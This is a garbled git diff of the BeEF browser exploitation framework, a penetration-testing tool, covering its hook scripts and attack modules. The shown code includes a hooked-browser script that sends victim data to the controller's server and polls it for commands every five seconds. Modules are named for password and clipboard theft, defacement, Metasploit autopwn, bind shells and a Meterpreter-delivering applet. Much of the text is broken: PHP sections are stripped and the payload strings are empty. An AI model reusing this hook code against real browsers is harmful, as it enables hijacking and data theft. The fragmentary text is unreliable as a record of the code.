diff --git a/CHANGELOG b/CHANGELOG index cca5e0e7c..5db638987 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,6 @@ +Version 0.4.0.3 +All '"; +beef_url = ""; // ---[ IS_XUL_CHROME // determing if we are in chrome (privileged browser zone) @@ -113,7 +113,7 @@ return_result('screen', sw+ "x" +sh+ " with " +sd+ "-bit colour"); // send result to beef function return_result(action, data) { var img_tmp = new Image(); - var src = beef_url + '/hook/return.php?BeEFSession=&action=' + action + '&data=' + escape(data); + var src = beef_url + '/hook/return.php?BeEFSession=&action=' + action + '&data=' + escape(data); img_tmp.src = src; } @@ -148,7 +148,7 @@ function include(script_filename) { // start heartbeat setInterval(function () { var date = new Date().getTime(); - include(beef_url + '/hook/command.php?BeEFSession=&time=' + date); + include(beef_url + '/hook/command.php?BeEFSession=&time=' + date); }, 5000); // run autorun module @@ -156,6 +156,6 @@ setInterval(function () { // our injection may occur before the element is created within the DOM setTimeout(function () { var date = new Date().getTime(); - include(beef_url + '/hook/autorun.js.php?BeEFSession=&time=' + date); + include(beef_url + '/hook/autorun.js.php?BeEFSession=&time=' + date); }, 2000); diff --git a/hook/command.php b/hook/command.php index 26f83ea92..de43d6a76 100644 --- a/hook/command.php +++ b/hook/command.php @@ -1,5 +1,5 @@ - @@ -10,12 +10,12 @@ BeEFBeEF Test Page

- + The following code needs to be included in the zombie:
<script language='Javascript' - src="hook/beefmagic.js.php'></script> + src="hook/beefmagic.js.php'></script>
diff --git a/hook/ipc_bindshell.js.php b/hook/ipc_bindshell.js.php index 801b3ff9a..96e79934d 100644 --- a/hook/ipc_bindshell.js.php +++ b/hook/ipc_bindshell.js.php @@ -1,5 +1,5 @@ -"; +beef_url = ""; function beef_onload() { raw_imap_output=document.body.innerHTML; diff --git a/hook/ipc_imap.js.php b/hook/ipc_imap.js.php index 4b3cc9f65..537e2bacd 100644 --- a/hook/ipc_imap.js.php +++ b/hook/ipc_imap.js.php @@ -1,5 +1,5 @@ -"; +beef_url = ""; function beef_onload() { raw_imap_output=document.body.innerHTML; diff --git a/hook/return.php b/hook/return.php index 02f006cb5..5862812c9 100644 --- a/hook/return.php +++ b/hook/return.php @@ -1,5 +1,5 @@ - \ No newline at end of file +?> diff --git a/include/common.inc.php b/include/common.inc.php index 9c7580f8c..a0bea5b87 100644 --- a/include/common.inc.php +++ b/include/common.inc.php @@ -1,5 +1,5 @@ - \ No newline at end of file +?> diff --git a/include/globals.inc.php b/include/globals.inc.php index 95faeeb13..7f8a983ec 100644 --- a/include/globals.inc.php +++ b/include/globals.inc.php @@ -1,5 +1,5 @@ - \ No newline at end of file +?> diff --git a/include/msf_filter.inc.php b/include/msf_filter.inc.php index 9cb66180f..a247bd3ff 100644 --- a/include/msf_filter.inc.php +++ b/include/msf_filter.inc.php @@ -1,5 +1,5 @@ - \ No newline at end of file +?> diff --git a/include/ui_module.inc.php b/include/ui_module.inc.php index e86997165..dd061c851 100644 --- a/include/ui_module.inc.php +++ b/include/ui_module.inc.php @@ -1,5 +1,5 @@ - \ No newline at end of file +?> diff --git a/include/ui_zombie.inc.php b/include/ui_zombie.inc.php index 423d3c45f..99b6e002e 100644 --- a/include/ui_zombie.inc.php +++ b/include/ui_zombie.inc.php @@ -1,5 +1,5 @@ -errstr, $GLOBALS['xmlrpc_internalencoding'], $cha } } -?> \ No newline at end of file +?> diff --git a/index.php b/index.php index e257ecee1..bee671dc5 100644 --- a/index.php +++ b/index.php @@ -1,5 +1,5 @@ - @@ -109,7 +109,7 @@
Connection (IP Address or URL)
This is the location that the zombies will connect to (do not include the hook directory). This must match the 'ServerName' value in your http.conf for the modules to work. - + BeEF configuration password diff --git a/modules/browser/cve_2006_3730/index.php b/modules/browser/cve_2006_3730/index.php index 93a2034a0..0d7197d5a 100644 --- a/modules/browser/cve_2006_3730/index.php +++ b/modules/browser/cve_2006_3730/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/browser/cve_2009_0075/index.php b/modules/browser/cve_2009_0075/index.php index 9705e43d7..05be20357 100644 --- a/modules/browser/cve_2009_0075/index.php +++ b/modules/browser/cve_2009_0075/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "REGEXP", document.cmd_form.regexp.value); diff --git a/modules/browser/cve_2009_0137/index.php b/modules/browser/cve_2009_0137/index.php index 2ee997dae..3e95bbe2d 100644 --- a/modules/browser/cve_2009_0137/index.php +++ b/modules/browser/cve_2009_0137/index.php @@ -1,4 +1,4 @@ - function get_b64_code_2009_0137() { // javascript is loaded from a file - it could be hard coded - var b64code = ''; + var b64code = ''; return b64code; } diff --git a/modules/browser/cve_2009_0137/snatchxml.php b/modules/browser/cve_2009_0137/snatchxml.php index 0bb0952aa..f847e472c 100644 --- a/modules/browser/cve_2009_0137/snatchxml.php +++ b/modules/browser/cve_2009_0137/snatchxml.php @@ -1,4 +1,4 @@ - -beef_url = ""; +beef_url = ""; // ---[ RETURN_RESULT // send result to beef function return_result(action, data) { var img_tmp = new Image(); - var src = beef_url + '/hook/return.php?BeEFSession=&action=' + action + '&data=' + escape(data); + var src = beef_url + '/hook/return.php?BeEFSession=&action=' + action + '&data=' + escape(data); img_tmp.src = src; } diff --git a/modules/browser/dos_chrome/index.php b/modules/browser/dos_chrome/index.php index 3c390ce61..d88c98b03 100644 --- a/modules/browser/dos_chrome/index.php +++ b/modules/browser/dos_chrome/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/browser/dos_firefox/index.php b/modules/browser/dos_firefox/index.php index ae3a0c8a0..df4d2b3ce 100644 --- a/modules/browser/dos_firefox/index.php +++ b/modules/browser/dos_firefox/index.php @@ -1,5 +1,5 @@ - function get_b64_code_fd() { // javascript is loaded from a file - it could be hard coded - var b64code = ''; + var b64code = ''; return b64code; } diff --git a/modules/browser/dos_generic/index.php b/modules/browser/dos_generic/index.php index 1826b1ae3..42848de16 100644 --- a/modules/browser/dos_generic/index.php +++ b/modules/browser/dos_generic/index.php @@ -1,6 +1,6 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/browser/malicious_applet/index.php b/modules/browser/malicious_applet/index.php index 74a93eccd..a85a11b7d 100644 --- a/modules/browser/malicious_applet/index.php +++ b/modules/browser/malicious_applet/index.php @@ -1,5 +1,5 @@ - function get_b64_code_applet() { // javascript is loaded from a file - it could be hard coded - var b64code = ''; + var b64code = ''; // do some super escaping cmd_str = document.myform.cmd.value; diff --git a/modules/browser/mozilla_nsiprocess_interface/index.php b/modules/browser/mozilla_nsiprocess_interface/index.php index 693b8cf3b..d926b225f 100644 --- a/modules/browser/mozilla_nsiprocess_interface/index.php +++ b/modules/browser/mozilla_nsiprocess_interface/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "BEEFCOMMAND", document.myform.command_str.value); diff --git a/modules/browser/msf_autopwn/index.php b/modules/browser/msf_autopwn/index.php index 77572fc45..c4fd79257 100644 --- a/modules/browser/msf_autopwn/index.php +++ b/modules/browser/msf_autopwn/index.php @@ -1,4 +1,4 @@ -'; + var b64code = ''; b64code = b64replace(b64code, "URL",$url); // send the code to the zombies diff --git a/modules/browser/msf_autopwn_manual/index.php b/modules/browser/msf_autopwn_manual/index.php index 199163d51..442b6f500 100644 --- a/modules/browser/msf_autopwn_manual/index.php +++ b/modules/browser/msf_autopwn_manual/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "MSF_IP",document.myform.msf_ip.value); diff --git a/modules/browser/msf_browser_expliot/index.php b/modules/browser/msf_browser_expliot/index.php index d763f02fb..23d14a172 100644 --- a/modules/browser/msf_browser_expliot/index.php +++ b/modules/browser/msf_browser_expliot/index.php @@ -1,4 +1,4 @@ -'; + var b64code = ''; b64code = b64replace(b64code, "URL",$url); // send the code to the zombies diff --git a/modules/browser/msf_capture_hashes/index.php b/modules/browser/msf_capture_hashes/index.php index 7ade8867f..d1746b0d7 100644 --- a/modules/browser/msf_capture_hashes/index.php +++ b/modules/browser/msf_capture_hashes/index.php @@ -1,4 +1,4 @@ -'; + var b64code = ''; b64code = b64replace(b64code, "URL",$url); // send the code to the zombies diff --git a/modules/browser/msf_malicious_java_applet/index.php b/modules/browser/msf_malicious_java_applet/index.php index 2dd057251..08d74cc0b 100755 --- a/modules/browser/msf_malicious_java_applet/index.php +++ b/modules/browser/msf_malicious_java_applet/index.php @@ -1,5 +1,5 @@ - function get_b64_code_msf_applet() { // javascript is loaded from a file - it could be hard coded - var b64code = ''; + var b64code = ''; // do some super escaping msfcmd_str = document.myform.msfcmd.value; @@ -46,7 +46,7 @@ The certificate is self-signed by the Microsoft Corporation.

URL to Download Meterpreter Payload
- + diff --git a/modules/network/asterisk_ipe/index.php b/modules/network/asterisk_ipe/index.php index f56ae54b5..14e97c754 100644 --- a/modules/network/asterisk_ipe/index.php +++ b/modules/network/asterisk_ipe/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "IP_ADDRESS", document.myform.alert_str.value); diff --git a/modules/network/bindshell_ipc/index.php b/modules/network/bindshell_ipc/index.php index e78d31f61..482477ba0 100644 --- a/modules/network/bindshell_ipc/index.php +++ b/modules/network/bindshell_ipc/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; var temp_cmds = document.myform.cmd_str.value; temp_cmds = temp_cmds.replace(/\n/g, "\\n") diff --git a/modules/network/browser_redirect/index.php b/modules/network/browser_redirect/index.php index c0f521226..308e08ef2 100644 --- a/modules/network/browser_redirect/index.php +++ b/modules/network/browser_redirect/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "REDIRECTURL", document.myform.url_str.value); diff --git a/modules/network/browser_request/index.php b/modules/network/browser_request/index.php index 36ba60a4e..b09ec9897 100644 --- a/modules/network/browser_request/index.php +++ b/modules/network/browser_request/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "URL",document.myform.url_string.value); diff --git a/modules/network/detect_host_ip/index.php b/modules/network/detect_host_ip/index.php index c1748302d..5388401d7 100644 --- a/modules/network/detect_host_ip/index.php +++ b/modules/network/detect_host_ip/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/network/detect_hostname/index.php b/modules/network/detect_hostname/index.php index e4335d768..8088dfde2 100644 --- a/modules/network/detect_hostname/index.php +++ b/modules/network/detect_hostname/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/network/detect_tor/index.php b/modules/network/detect_tor/index.php index 16f7b7b5f..0e798c95d 100755 --- a/modules/network/detect_tor/index.php +++ b/modules/network/detect_tor/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/network/detect_visited_urls/index.php b/modules/network/detect_visited_urls/index.php index a028f40ed..9df299aae 100644 --- a/modules/network/detect_visited_urls/index.php +++ b/modules/network/detect_visited_urls/index.php @@ -1,5 +1,5 @@ // show module results section new Element.show('module_results'); -'; + var b64code_template = ''; zl.selected_zombies.each( function(id){ b64code = b64replace(b64code_template, "TARGET", document.myform.target_.value); diff --git a/modules/network/imap_ipc/index.php b/modules/network/imap_ipc/index.php index 3d9eaf536..fad9b8429 100644 --- a/modules/network/imap_ipc/index.php +++ b/modules/network/imap_ipc/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; var temp_cmds = document.myform.cmd_str.value; temp_cmds = temp_cmds.replace(/\n/g, "\\\\n") diff --git a/modules/network/vtiger_crm_upload_exploit/index.php b/modules/network/vtiger_crm_upload_exploit/index.php index 1711c94b0..6c011f044 100644 --- a/modules/network/vtiger_crm_upload_exploit/index.php +++ b/modules/network/vtiger_crm_upload_exploit/index.php @@ -1,4 +1,4 @@ -'; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "ATTACKURL", document.myform.vtiger_url.value); diff --git a/modules/standard/alert_dialog/index.php b/modules/standard/alert_dialog/index.php index 9a49e2bb6..756f56ebd 100644 --- a/modules/standard/alert_dialog/index.php +++ b/modules/standard/alert_dialog/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "ALERTSTRING", document.myform.alert_str.value); diff --git a/modules/standard/clipboard_theft/index.php b/modules/standard/clipboard_theft/index.php index 85d2667ea..78640e95b 100644 --- a/modules/standard/clipboard_theft/index.php +++ b/modules/standard/clipboard_theft/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/standard/deface_web_page/index.php b/modules/standard/deface_web_page/index.php index 71dabc274..e44547a81 100644 --- a/modules/standard/deface_web_page/index.php +++ b/modules/standard/deface_web_page/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "HTMLCONTENT", document.myform.deface_str.value); diff --git a/modules/standard/detect_flash/index.php b/modules/standard/detect_flash/index.php index 859956b0a..ecf73000c 100644 --- a/modules/standard/detect_flash/index.php +++ b/modules/standard/detect_flash/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/standard/detect_java/index.php b/modules/standard/detect_java/index.php index 05e85c107..f39eb4f10 100644 --- a/modules/standard/detect_java/index.php +++ b/modules/standard/detect_java/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/standard/detect_plugins/index.php b/modules/standard/detect_plugins/index.php index 162a9e83e..6bef56619 100644 --- a/modules/standard/detect_plugins/index.php +++ b/modules/standard/detect_plugins/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/standard/detect_quicktime/index.php b/modules/standard/detect_quicktime/index.php index 97164813d..350a4637a 100644 --- a/modules/standard/detect_quicktime/index.php +++ b/modules/standard/detect_quicktime/index.php @@ -1,5 +1,5 @@ - function get_b64_code() { // javascript is loaded from a file - it could be hard coded - var b64code = ''; + var b64code = ''; return b64code; } diff --git a/modules/standard/detect_software/index.php b/modules/standard/detect_software/index.php index 5b3037875..d636b3125 100755 --- a/modules/standard/detect_software/index.php +++ b/modules/standard/detect_software/index.php @@ -1,5 +1,5 @@ - function get_b64_code() { // javascript is loaded from a file - it could be hard coded - var b64code = ''; + var b64code = ''; return b64code; } diff --git a/modules/standard/detect_unsafe_activex/index.php b/modules/standard/detect_unsafe_activex/index.php index 39c1c4ccf..c44c04064 100644 --- a/modules/standard/detect_unsafe_activex/index.php +++ b/modules/standard/detect_unsafe_activex/index.php @@ -1,5 +1,5 @@ - function get_b64_code_ua() { // javascript is loaded from a file - it could be hard coded - var b64code = ''; + var b64code = ''; return b64code; } diff --git a/modules/standard/detect_vbscript/index.php b/modules/standard/detect_vbscript/index.php index 08344b879..a6518c04b 100644 --- a/modules/standard/detect_vbscript/index.php +++ b/modules/standard/detect_vbscript/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/standard/detect_virtual_machine/index.php b/modules/standard/detect_virtual_machine/index.php index 02b0037c5..55d5ab548 100644 --- a/modules/standard/detect_virtual_machine/index.php +++ b/modules/standard/detect_virtual_machine/index.php @@ -1,5 +1,5 @@ - function get_b64_code_vmdetect2() { // javascript is loaded from a file - it could be hard coded - var b64code = ''; + var b64code = ''; return b64code; } diff --git a/modules/standard/passwd_theft/index.php b/modules/standard/passwd_theft/index.php index 0dd5d6e9e..415b577bf 100644 --- a/modules/standard/passwd_theft/index.php +++ b/modules/standard/passwd_theft/index.php @@ -1,4 +1,4 @@ -'; + var b64code = ''; return b64code; } diff --git a/modules/standard/prompt_dialog/index.php b/modules/standard/prompt_dialog/index.php index 596ee24dd..40af5a1dd 100644 --- a/modules/standard/prompt_dialog/index.php +++ b/modules/standard/prompt_dialog/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "PROMPTSTRING", document.myform.prompt_str.value); diff --git a/modules/standard/raw_javascript/index.php b/modules/standard/raw_javascript/index.php index 2228fb52b..1d4631ec7 100644 --- a/modules/standard/raw_javascript/index.php +++ b/modules/standard/raw_javascript/index.php @@ -1,5 +1,5 @@ '; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "REGEXP", document.cmd_form.regexp.value); diff --git a/modules/standard/rewrite_status_bar/index.php b/modules/standard/rewrite_status_bar/index.php index c58b2f66e..07d08878b 100644 --- a/modules/standard/rewrite_status_bar/index.php +++ b/modules/standard/rewrite_status_bar/index.php @@ -1,5 +1,5 @@ -'; + var b64code = ''; // replace sections of the code with user input b64code = b64replace(b64code, "STATUSBARSTRING", document.myform.status_str.value); diff --git a/pw.php b/pw.php index 1b71c3259..ee578a55b 100644 --- a/pw.php +++ b/pw.php @@ -1,3 +1,9 @@ - + + diff --git a/submit_config.php b/submit_config.php index d47235365..1f0c65532 100644 --- a/submit_config.php +++ b/submit_config.php @@ -1,4 +1,10 @@ - + +BeEF Successfuly Configured
- +
# chown
# chown -R
-

Password

Incorrect BeEF password, please try again. - diff --git a/ui/about.php b/ui/about.php index 09f612742..98445ba8b 100644 --- a/ui/about.php +++ b/ui/about.php @@ -1,5 +1,5 @@ - @@ -26,7 +26,7 @@ * Set Autorun support added to each module

- Copyright © 2006-2009. + Copyright © 2006-2010. Wade Alcorn. All Rights Reserved.
diff --git a/ui/exampleusage.php b/ui/exampleusage.php index 543e13e02..825e022b8 100644 --- a/ui/exampleusage.php +++ b/ui/exampleusage.php @@ -1,5 +1,5 @@ - diff --git a/ui/get_module_details.php b/ui/get_module_details.php index f1498893e..a51988efe 100644 --- a/ui/get_module_details.php +++ b/ui/get_module_details.php @@ -1,5 +1,5 @@ - \ No newline at end of file +?> diff --git a/ui/get_zombie_details.php b/ui/get_zombie_details.php index e59fc3f4e..167fabef3 100644 --- a/ui/get_zombie_details.php +++ b/ui/get_zombie_details.php @@ -1,5 +1,5 @@ - diff --git a/ui/index.php b/ui/index.php index 1ec66f94e..4fd4717e3 100644 --- a/ui/index.php +++ b/ui/index.php @@ -1,5 +1,5 @@